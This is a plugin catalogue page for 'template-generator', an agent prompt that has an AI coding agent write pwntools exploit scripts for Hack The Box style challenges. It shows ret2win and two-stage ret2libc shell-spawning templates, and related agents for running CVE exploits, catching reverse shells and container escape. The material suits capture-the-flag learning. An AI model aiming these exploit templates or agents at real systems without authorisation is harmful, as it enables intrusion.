template-generator

template-generator is an agent for coding agents from allsmog/pwn-claude-plugin. It costs 50 tokens per session (1,259 once invoked), scanned A, original, MIT.

An agent that generates customized pwntools exploit scripts. Pwntools is a Python toolkit commonly used to interact with vulnerable programs in security challenges.

In plain words
What is it for?
Use it to create local or remote exploit templates, including binary settings, offsets, GDB support, and optional libc configuration.
Why use it?
It turns a completed vulnerability analysis into a structured, runnable script with connection and debugging setup.

Agent

Part of the pwn-htb plugin — 7 skills, 16 commands, 3 agents, 2 hooks shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/allsmog/pwn-claude-plugin/template-generator
Clone the repo
git clone --depth 1 https://github.com/allsmog/pwn-claude-plugin

Or install pwn-htb, the plugin that ships this one along with the rest of its 7 skills, 16 commands, 3 agents, 2 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for template-generator

README.md
[![agentmods](https://agentmods.dev/badge/agents/allsmog/pwn-claude-plugin/template-generator.svg)](https://agentmods.dev/agents/allsmog/pwn-claude-plugin/template-generator)
Your own site
<a href="https://agentmods.dev/agents/allsmog/pwn-claude-plugin/template-generator"><img src="https://agentmods.dev/badge/agents/allsmog/pwn-claude-plugin/template-generator.svg" alt="Measured on agentmods" height="20"></a>
Per session 50 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,259 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00050 $0.01259
Opus 5 $0.00025 $0.00629
Sonnet 5 $0.00010 $0.00252
Haiku 4.5 $0.00005 $0.00126

Measured 5d ago against content hash d3c8ef9c619a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade A, and why

template-generator scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

pwn-htb/agents/template-generator.md · 187 lines

How it starts

The opening of the file, as written. The whole thing — 187 lines — stays where its author put it; the contents beside it link to each section on GitHub.

You are an exploit code generator specializing in pwntools exploit development. Your role is to create well-structured, educational exploit scripts tailored to specific vulnerabilities and constraints.

Your Core Responsibilities:

  1. Generate complete, runnable exploit scripts
  2. Include proper pwntools setup and context
  3. Add educational comments explaining each step
  4. Support local/remote/GDB modes
  5. Handle edge cases and common issues
  6. Provide clear usage instructions

Template Structure:

Every generated exploit must include:

#!/usr/bin/env python3
"""
Exploit: [Challenge Name]
Target: [Binary Name]
Vulnerability: [Type]
Technique: [Exploitation Method]
Author: Generated by pwn-htb plugin
"""
from pwn import *

# === CONFIGURATION ===
BINARY = './binary'  # Target binary path
OFFSET = 0           # Offset to return address (TODO if unknown)

# Remote target (for HTB)
HOST = 'target.htb'
PORT = 1337

# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
context.log_level = 'info'  # Change to 'debug' for verbose output

# Libc (uncomment and set path when identified)
# libc = ELF('./libc.so.6')

def conn():
    """Establish connection based on arguments"""
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.GDB:
        return gdb.debug(BINARY, '''
            # Add breakpoints here
            b main
            c
        ''')
    else:
        return process(BINARY)

def main():
    io = conn()

    # === EXPLOIT CODE HERE ===
    # [Technique-specific implementation]

    io.interactive()

if __name__ == '__main__':
    main()

Technique-Specific Sections:

ret2win

# Win function address
WIN = elf.symbols['win']  # Or hardcode: 0x401234

# Build payload
payload = flat(
    b'A' * OFFSET,      # Padding to return address
    WIN                  # Overwrite RIP with win address
)

io.sendline(payload)

ret2libc (with leak)

# Gadgets
POP_RDI = 0x401234  # pop rdi ; ret
RET = 0x401235      # ret (for alignment)

# Stage 1: Leak libc
log.info("Stage 1: Leaking libc...")
payload1 = flat(
    b'A' * OFFSET,
    POP_RDI,
    elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main']
)
io.sendline(payload1)

# Parse leak
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# Stage 2: Shell
log.info("Stage 2: Getting shell...")
payload2 = flat(
    b'A' * OFFSET,
    RET,
    POP_RDI,
    next(libc.search(b'/bin/sh')),
    libc.symbols['system']
)
io.sendline(payload2)

Read the full file on GitHub · 187 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 187 lines · 0 tokens per session scan A d3c8ef9c619a

Subscribe to this mod's changes

template-generator is an agent published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 50 tokens to every session and 1,259 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

exploit-suggester

Use this agent when the user asks "what exploits exist", "how do I exploit this", "suggest attack vectors", "find vulnerabilities", "searchsploit", "what's vulnerable", "how can I get a shell", or needs exploitation guidance. Examples: Context: After discovering Apache 2.4.49 user: "What exploits are there for this?"…

allsmog/blackbox-claude-plugin · 167 tokens

exploit-runner

Use this agent when a specific CVE is identified and you need to find and run a working exploit. This agent will search GitHub for PoC exploits, clone them, and provide execution guidance. Examples: Context: CVE-2025-32433 identified on Erlang SSH user: "Exploit the Erlang SSH" assistant: Clones…

allsmog/blackbox-claude-plugin · 147 tokens

shell-manager

Use this agent when the user asks to "start a listener", "catch a shell", "manage shells", "send command to shell", "check shell output", "set up reverse shell", or needs to maintain persistent shell access during exploitation. Examples: Context: User has RCE and needs to catch reverse shell user: "Start a listener on…

allsmog/blackbox-claude-plugin · 141 tokens

source-analyzer

Use this agent when you discover source code, backup files, or need to analyze application code for vulnerabilities. Triggers on: "analyze source", "found code", "check for vulnerabilities", "review application", "found backup", "downloaded zip/tar", "requirements.txt", "package.json".

allsmog/blackbox-claude-plugin · 67 tokens

network-scanner

Use this agent when the user asks to "scan a target", "run nmap", "find open ports", "discover services", "run reconnaissance", "scan the network", or needs automated network discovery. Examples: Context: User starting a new HTB machine user: "Scan 10.10.10.5" assistant: Runs comprehensive nmap scans and presents…

allsmog/blackbox-claude-plugin · 145 tokens

container-analyzer

Use this agent when inside a container and needing to find escape vectors. Triggers on: "escape container", "docker escape", "container breakout", "am I in a container", "container privesc", "check for docker socket". Context: Got shell inside Docker container user: "How do I escape this container?" assistant: Runs…

allsmog/blackbox-claude-plugin · 127 tokens